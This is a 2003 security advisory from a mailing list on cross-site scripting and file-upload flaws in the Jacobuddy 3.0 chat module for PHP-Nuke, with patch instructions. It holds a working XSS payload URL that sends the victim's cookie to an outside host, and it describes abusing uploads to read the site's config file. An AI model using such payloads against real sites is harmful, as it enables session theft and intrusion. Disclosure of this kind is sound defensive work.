[UNIX] Sourceforge Jacobuddy Cross Site Scripting (XSS) and Upload Exploit

From: support@securiteam.com
Date: 03/09/03

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To: list@securiteam.com
Date: 9 Mar 2003 15:04:27 +0200

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      Sourceforge Jacobuddy Cross Site Scripting (XSS) and Upload Exploit
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.programmiamo.net/modules/mx_jacobuddy/mx_jacobuddy.php>
    Jacobuddy a JavaScript Real Time Chat Module is an independent add-on for
    the open source GNU/GPL content management system PHP-Nuke. Computer Cops
    has discovered that Jacobuddy is vulnerable to Cross Site Scripting (XSS)
    and file system manipulation.

    DETAILS

    Vulnerable systems:
     * Jacobuddy version 3.0

    XSS Vulnerability:
    The following URL is a sample of how Jacobuddy can be seeded with a XSS
    exploit within the message body:

    http://www.laudanski.com/"style="background-image:url(javascript:nurl='http://www.laudanski.com/j.cgi?';nurl=nurl+document.cookie;document.URL=nurl)

    The current un-patched version will automatically redirect the receiver's
    pop-up Jacobuddy message to another site grabbing their cookie information
    from the attacked site.

    The patch for this is applied to the buddy.php file:

    In the following function block:
    function send($to, $to_userid, $message, $subject) {

    Add the following line after the global statement:
    $message = htmlspecialchars(strip_tags($message));

    Upload vulnerability:
    The next vulnerability is the infamous DCC file transfer within the
    buddy.php file.

    Any file uploaded into the system can stay on the system. A malicious
    script can be generated to grab vital file system data like the PHP-nuke
    config.php file and turned into a text file for the malicious uploader to
    access. Computer Cops highly advises that the entire DCC function be
    removed from the file in addition to the DCC case block and $who_online
    clause for the DCC link.

    ADDITIONAL INFORMATION

    The information has been provided by
    <mailto:zx@computercops.propagation.net> Computer Cops.

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